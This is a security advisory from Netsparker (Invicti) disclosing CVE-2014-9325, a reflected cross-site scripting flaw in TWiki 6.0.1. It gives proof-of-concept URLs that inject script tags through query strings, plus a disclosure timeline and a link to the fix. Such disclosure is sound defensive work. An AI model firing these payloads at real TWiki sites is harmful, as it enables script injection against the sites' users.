Information
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Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability with QUERYSTRING and QUERYPARAMSTRING in TWiki
Affected Software: TWiki
Affected Versions: 6.0.1 and possibly below
Vendor Homepage: http://www.twiki.org/
Vulnerability Type: Cross-site Scripting
Severity: Important
CVE ID: CVE-2014-9325
Invicti Advisory Reference: NS-14-041

Impact 
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A malicious person can use specially crafted URL parameters to TWiki scripts that execute arbitrary JavaScript code in the browser. Examples:

Specially crafted parameter to the view script of TWiki:

GET /do/view/Main/TWikiPreferences?'"--></style></script><script>alert('CVE-2014-9325 vulnerable')</script>

TWiki decodes the URL parameters and pops up a JavaScript alert box showing "CVE-2014-9325 vulnerable!"

Technical Details 
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/bin/view/Main/TWikiPreferences?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/TWikiTopics?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/Sandbox/WebPreferences?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/WebNotify?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/WikiName?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/TextFormattingRules?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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09/12/2014 - First Contact
09/12/2014 - Vulnerability Fixed
18/12/2014 - Advisory Released

Solution 
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http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-9325

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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